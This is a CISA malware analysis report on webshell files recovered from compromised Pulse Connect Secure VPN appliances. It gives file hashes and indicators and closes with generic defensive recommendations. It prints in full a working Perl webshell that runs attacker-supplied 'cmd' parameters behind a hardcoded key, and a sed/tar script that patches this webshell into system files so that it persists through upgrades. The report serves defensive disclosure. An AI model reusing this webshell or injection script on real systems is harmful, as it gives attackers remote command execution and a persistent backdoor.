Malware Analysis Report (AR21-202A)

MAR-10333209-1.v1: Pulse Connect Secure

Click to Tweet.
Click to send to Facebook.
Click to Share.

Notification

This report is provided "as is" for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained herein. The DHS does not endorse any commercial product or service referenced in this bulletin or otherwise.

This document is marked TLP:WHITE--Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol (TLP), see http://www.cisa.gov/tlp.

Summary

Description

Four files were submitted to CISA for analysis. Some of the files consist of shell scripts designed to modify a file to become a webshell. The webshell is designed to check and parse incoming web requests data. This analysis is derived from malicious files found on Pulse Connect Secure devices.

For a downloadable copy of IOCs, see: MAR-10333209-1.v1.stix.

Submitted Files (4)

3e09fefa3f0432ff69bfe609f6ced626661a611aac5474744c5df4a6e5e3bec8 (licenseserverproto.cgi)

6959bbbe345b9699282b8a599b6a65e53731720905e2a40aaca16fa796ffe767 (DSUpgrade.pm)

89fe38eacc117bc60d5b1e0f3549816a044dded830648e0bdd4fb0988eb8cf52 (licenseserverproto.cgi)

f1d579b3e6d1c1223a88e79acf3469b0883ab61f757baf31718a137d871e872e (DSUpgrade.pm)

Findings

f1d579b3e6d1c1223a88e79acf3469b0883ab61f757baf31718a137d871e872e

Tags

webshell

Details
Name DSUpgrade.pm
Size 9791 bytes
Type Perl5 module source, ASCII text
MD5 fe60ede07532d79c5745fabbf139b98a
SHA1 2eca4cb00c32a1b8f32601e68080d517ceabf136
SHA256 f1d579b3e6d1c1223a88e79acf3469b0883ab61f757baf31718a137d871e872e
SHA512 2f44e35088dd9c0e75fd6b1858c1cd374a6c29cd61c6f7118ba2f1ad311071b167243fe2e6812d2894687454732035098ca81302d65afc192c9b55945bd6afbf
ssdeep 192:eIB1XcTfXss+nBqXb+TSWbgXCiwWjoBTWFI4MhiirXHLwQBNkBiF3Ar8yXpayUM6:eIB1X1phiJ/irZNkBiF3CjCswmPyVoM
Entropy 5.227580
Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Relationships
f1d579b3e6... Related_To 3e09fefa3f0432ff69bfe609f6ced626661a611aac5474744c5df4a6e5e3bec8
Description

This file is a Pulse Secure application that has been modified to add webshell script code into the content of the Pulse Secure Perl CGI script file "/root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi"(3e09fefa3f0432ff69bfe609f6ced626661a611aac5474744c5df4a6e5e3bec8) in place to become a webshell.

3e09fefa3f0432ff69bfe609f6ced626661a611aac5474744c5df4a6e5e3bec8

Tags

webshell

Details
Name licenseserverproto.cgi
Size 3386 bytes
Type Perl script text executable
MD5 003876ee2d188ccb409ea451b3a1a0d3
SHA1 67642856a2d26025f7482d2a7dec1e402fc152bb
SHA256 3e09fefa3f0432ff69bfe609f6ced626661a611aac5474744c5df4a6e5e3bec8
SHA512 48aa87881bd6d3926b9d2999d14f2d3aa6f5e9209e1a464fc8566718a1141d4f130fc5899294befd93f284f9d666d67105d3e55a6ba8d5c8ab968a13eeeecd5a
ssdeep 48:E8LYmeAJAZo6HMeQT808inRbxFTQjQk0hseWo7BuswT4o7oo7vpBBBQWBZ7zSH74:EaYkJAZnqpxtSHo0v/wO27YJ
Entropy 5.320481
Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Relationships
3e09fefa3f... Related_To f1d579b3e6d1c1223a88e79acf3469b0883ab61f757baf31718a137d871e872e
Description

This file is a Pulse Secure Perl CGI script that has been modified using the script in the file "DSUpgrade.pm"(f1d579b3e6d1c1223a88e79acf3469b0883ab61f757baf31718a137d871e872e). The modified CGI script file contains a webshell script designed to check and parse incoming web requests data from a webshell. It is designed to search, extract and execute command (CMD) parameters passed by the attacker on the victim's system. It creates a form containing the extracted command to be executed and the parameter value "serverid". The output of every command executed on the victim's system will include an RC4 encrypted and Base64 encoded string: "TD3ru+SCIVQ+BB1m9YlwxA==" (which has a plaintext value of "1234567812345678"). The string "1234567812345678" is encrypted first using the RC4 key "1234567" before it is Base64 encoded. These strings are hard-coded into the script.

6959bbbe345b9699282b8a599b6a65e53731720905e2a40aaca16fa796ffe767

Tags

webshell

Details
Name DSUpgrade.pm
Size 9791 bytes
Type Perl5 module source, ASCII text
MD5 4d5b410e1756072a701dfd3722951907
SHA1 cc68a9c5ff57129e8b897d228e54807841f8ff67
SHA256 6959bbbe345b9699282b8a599b6a65e53731720905e2a40aaca16fa796ffe767
SHA512 965b13b1a11c2b2472de1f491bb3fde1d96288fa204428b135281ae7928a5bafea5c244fdd1f47a96242861c94a4fa8d5f6664f543dec33cfc519faca044766d
ssdeep 192:eIB1XcTfXss+nBqXb+TSWbgXCiwWjoBTWFI4MhiirXHLwQBNaBiF3Ar8yXpayUM6:eIB1X1phiJ/irZNaBiF3CjCswmPyVoM
Entropy 5.235000
Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Relationships
6959bbbe34... Related_To 89fe38eacc117bc60d5b1e0f3549816a044dded830648e0bdd4fb0988eb8cf52
Description

This file is a Pulse Secure Perl application that has been modified to add webshell script code into the content of the Pulse Secure Perl CGI script file "/root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi"(89fe38eacc117bc60d5b1e0f3549816a044dded830648e0bdd4fb0988eb8cf52).

The script contains the following patched in commented out code:

—Begin Patched In Commented CGI Code—
###scriptstart
#/bin/mount -o remount,rw /dev/root /
#/bin/tar -xzf $innerarchive ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi
#/bin/tar -xzf $innerarchive ./root/home/perl/DSUpgrade.pm
#/bin/sed -i '/\#\#start_total/,/\#\#end_total/w 7CxA1p' outer-do-install
#/bin/sed -i '/DSINSTALL_CLEAN/r 7CxA1p' ./root/home/perl/DSUpgrade.pm
#/bin/sed -i '/\#\#cgistart1/,/\#\#cgiend1/w GqTv3w' outer-do-install
#/bin/sed -i '/\#\#cgistart2/,/\#\#cgiend2/w Vi6d8h4' outer-do-install
#/bin/sed -i '/^use DSUtilTable/r GqTv3w' ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi
#/bin/sed -i '/^sub main/r Vi6d8h4' ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi
#/bin/sed -i '/\#\#cgistart1/,/\#\#cgiend1/s/#//' ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi
#/bin/sed -i '/\#\#cgistart2/,/\#\#cgiend2/s/#//' ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi
#/bin/sed -i '/\#\#perlstart/,/\#\#perlend/s/#//' ./root/home/perl/DSUpgrade.pm
#/bin/sed -i '/\#\#scriptstart/,/\#\#scriptend/s/^/#/' ./root/home/perl/DSUpgrade.pm
#/usr/bin/gzip -d $innerarchive
#/bin/tar -f /tmp/inside-package.tar -u ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi
#/bin/tar -f /tmp/inside-package.tar -u ./root/home/perl/DSUpgrade.pm
#/bin/rm -f 7CxA1p
#/bin/rm -f GqTv3w
#/bin/rm -f Vi6d8h4
#/bin/rm -fr root
#/usr/bin/gzip -c /tmp/inside-package.tar > $innerarchive
###scriptend

###cgistart1
#use lib ($ENV{'DSINSTALL'} =~ /(\S*)/)[0] . "/perl/lib";
#use lib ($ENV{'DSINSTALL'} =~ /(\S*)/)[0] . "/perl/lib/MIME/Base64";
#use Crypt::RC4;
#use MIME::Base64 ();
#
#sub parse_parameters ($) {
# my %ret;
#
# my $input = shift;
#
# foreach my $pair (split('&', $input)) {
#    my ($var, $value) = split('=', $pair, 2);
#    
#    if($var) {
#     $value =~ s/\+/ /g ;
#     $value =~ s/%(..)/pack('c',hex($1))/eg;
#
#     $ret{$var} = $value;
#    }
# }
#
# return %ret;
#}
###cgiend1

###cgistart2
#    my $enckey='1234567';
#    my $data='1234567812345678';
#        my $cipher = RC4($enckey, $data);    
#        my $encode = MIME::Base64::encode($cipher);
#    my $psalLaunch = CGI::param("serverid");
#    if ($psalLaunch =~ /csJ1TA45JzB0WJrjA5X8dpVbXcrDMVfa/)
#    {
#    my ($cmd, %FORM);
#
#    $|=1;
#
#    print "Content-Type: text/html\r\n";
#    print "\r\n";
#    %FORM = parse_parameters($ENV{'QUERY_STRING'});
#
#    if(defined $FORM{'cmd'}) {
#     $cmd = $FORM{'cmd'};
#    }
#
#print '<HTML>
#<body>
#<form action="" method="GET">
#<input type="text" name="cmd" size=45 value="' . $cmd . '">
#<input type="text" name="serverid" size=45 value="csJ1TA45JzB0WJrjA5X8dpVbXcrDMVfa">
#<input type="submit" value="Run">
#</form>
#<pre>';
#
#if(defined $FORM{'cmd'}) {
# print "Results of '$cmd' execution:\n\n";
# print "-"x80;
# print "\n";
#
# print $encode;
# system $cmd;
# print "-"x80;
# print "\n";
#}
# print "</pre>";
# exit(0);
#    }
###cgiend2

##end_total
--End Patched In Commented CGI Code--

The Pulse Secure Perl script also contains the following suspicious live / uncommented code. This code is designed to modify several Pulse Secure system files using the SED command as well as attempt to install code from within an archive named new-pack.tgz expected to be currently stored on the target system.

--Begin Patched In Commented Code--
sub installPackage {
my ($clean, $console, $html) = @_;

$ENV{"DSINSTALL_CLEAN"} = $clean;

##start_total
##perlstart
system("/bin/mount -o remount,rw /dev/root /");
system("/bin/tar -xzf /tmp/new-pack.tgz ./installer/outer-do-install");
my $statushh = $? % 255;
if( $statushh != 0 )
{
       system("/bin/tar -xzf /tmp/new-pack.tgz ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi");
       system("/bin/tar -xzf /tmp/new-pack.tgz ./root/home/perl/DSUpgrade.pm");    
       system("/bin/sed -i '/\#\#start_total/,/\#\#end_total/w K872Bu' /home/perl/DSUpgrade.pm");
       system("/bin/sed -i '/DSINSTALL_CLEAN/r K872Bu' ./root/home/perl/DSUpgrade.pm");
       system("/bin/sed -i '/\#\#cgistart1/,/\#\#cgiend1/w Mj1Za' /home/perl/DSUpgrade.pm");
       system("/bin/sed -i '/\#\#cgistart2/,/\#\#cgiend2/w 1uMfVB' /home/perl/DSUpgrade.pm");
       system("/bin/sed -i '/^use DSUtilTable/r Mj1Za' ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi");
       system("/bin/sed -i '/^sub main/r 1uMfVB' ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi");
       system("/bin/sed -i '/\#\#cgistart1/,/\#\#cgiend1/s/#//' ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi");
       system("/bin/sed -i '/\#\#cgistart2/,/\#\#cgiend2/s/#//' ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi");
       system("/usr/bin/gzip -d /tmp/new-pack.tgz");
       system("/bin/tar -f /tmp/new-pack.tar -u ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi");
       system("/bin/tar -f /tmp/new-pack.tar -u ./root/home/perl/DSUpgrade.pm");
       system("/bin/rm -f K872Bu");
       system("/bin/rm -f Mj1Za");
       system("/bin/rm -f 1uMfVB");    
       system("/bin/rm -fr root");
       system("rm -f /tmp/new-pack.tgz");
       system("/usr/bin/gzip -c /tmp/new-pack.tar > /tmp/new-pack.tgz");                                        
}
else{
system("/bin/sed -i '/\#\#start_total/,/\#\#end_total/w Nc3Gy.pm' /home/perl/DSUpgrade.pm");
system("/bin/sed -i '/packdecrypt/r Nc3Gy.pm' ./installer/outer-do-install");
system("/bin/sed -i '/\#\#perlstart/,/\#\#perlend/s/^/#/' ./installer/outer-do-install");
system("/bin/sed -i '/\#\#scriptstart/,/\#\#scriptend/s/#//' ./installer/outer-do-install");
system("/usr/bin/gzip -d /tmp/new-pack.tgz");
system("/bin/tar -f /tmp/new-pack.tar -u ./installer/outer-do-install");
system("rm -f Nc3Gy.pm");
system("rm -f /tmp/new-pack.tgz");
system("/usr/bin/gzip -c /tmp/new-pack.tar > /tmp/new-pack.tgz");
system("rm -fr installer");
}
--End Patched In Commented Code--

Analysis indicates this commented code is designed to present a web form to a remote operator, wherein the remote operator can enter commands that will be run locally on the target system. The commented code also has the capability to modify several Pulse Secure system files utilizing the SED command.

89fe38eacc117bc60d5b1e0f3549816a044dded830648e0bdd4fb0988eb8cf52

Details
Name licenseserverproto.cgi
Size 3386 bytes
Type Perl script text executable
MD5 9b526db005ee8075912ca6572d69a5d6
SHA1 6c160643d92111c7ae95803913c311395d7d5b7c
SHA256 89fe38eacc117bc60d5b1e0f3549816a044dded830648e0bdd4fb0988eb8cf52
SHA512 d40b9c3aa3da322f37cf5d83a430dc86f2d1f7491bc657c3dfd0d48884f9dc15029536621560a8af2c2415f7e4896c894c8c41b8c08656dc3ac3b1b614fb8b10
ssdeep 48:E8LYmeAJAZo6HMeQT808inRbxUQjQk0BeWo7BuswT4o7oo7vpBBBQWBZ7zSH72BX:EaYkJAZnqpxUxHo0v/wO27YJ
Entropy 5.335571
Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Relationships
89fe38eacc... Related_To 6959bbbe345b9699282b8a599b6a65e53731720905e2a40aaca16fa796ffe767
Description

This file and "licenseserverproto.cgi" (3e09fefa3f0432ff69bfe609f6ced626661a611aac5474744c5df4a6e5e3bec8) have the same code function. This file is a legitimate Pulse Secure Perl CGI script that has been modified using the script in the file "DSUpgrade.pm" (6959bbbe345b9699282b8a599b6a65e53731720905e2a40aaca16fa796ffe767). The modified CGI script file contains a webshell script designed to check and parse incoming web requests data from a webshell. It is designed to search, extract and execute CMD parameters passed by the attacker on the victim's system. It creates a form containing the extracted CMD to be executed and the parameter value "serverid". The output of every CMD executed on the victim's system will include an RC4 encrypted and Base64 encoded string: "TD3ru+SCIVQ+BB1m9YlwxA==" (which has a plaintext value of "1234567812345678"). The string "1234567812345678" is encrypted first using the RC4 key "1234567" before it is Base64 encoded. These strings are hard-coded into the script.

Relationship Summary

f1d579b3e6... Related_To 3e09fefa3f0432ff69bfe609f6ced626661a611aac5474744c5df4a6e5e3bec8
3e09fefa3f... Related_To f1d579b3e6d1c1223a88e79acf3469b0883ab61f757baf31718a137d871e872e
6959bbbe34... Related_To 89fe38eacc117bc60d5b1e0f3549816a044dded830648e0bdd4fb0988eb8cf52
89fe38eacc... Related_To 6959bbbe345b9699282b8a599b6a65e53731720905e2a40aaca16fa796ffe767

Recommendations

CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organization's systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.

  • Maintain up-to-date antivirus signatures and engines.
  • Keep operating system patches up-to-date.
  • Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
  • Restrict users' ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless required.
  • Enforce a strong password policy and implement regular password changes.
  • Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
  • Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
  • Disable unnecessary services on agency workstations and servers.
  • Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its "true file type" (i.e., the extension matches the file header).
  • Monitor users' web browsing habits; restrict access to sites with unfavorable content.
  • Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
  • Scan all software downloaded from the Internet prior to executing.
  • Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).

Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication 800-83, "Guide to Malware Incident Prevention & Handling for Desktops and Laptops".

Contact Information

CISA continuously strives to improve its products and services. You can help by answering a very short series of questions about this product at the following URL: https://us-cert.cisa.gov/forms/feedback/

Document FAQ

What is a MIFR? A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most instances this report will provide initial indicators for computer and network defense. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

What is a MAR? A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via manual reverse engineering. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

Can I edit this document? This document is not to be edited in any way by recipients. All comments or questions related to this document should be directed to the CISA at 1-888-282-0870 or CISA Service Desk.

Can I submit malware to CISA? Malware samples can be submitted via three methods:

CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on CISA's homepage at www.cisa.gov.

Revisions

July 21, 2021: Initial Version

This product is provided subject to this Notification and this Privacy & Use policy.

Please share your thoughts.

We recently updated our anonymous product survey; we'd welcome your feedback.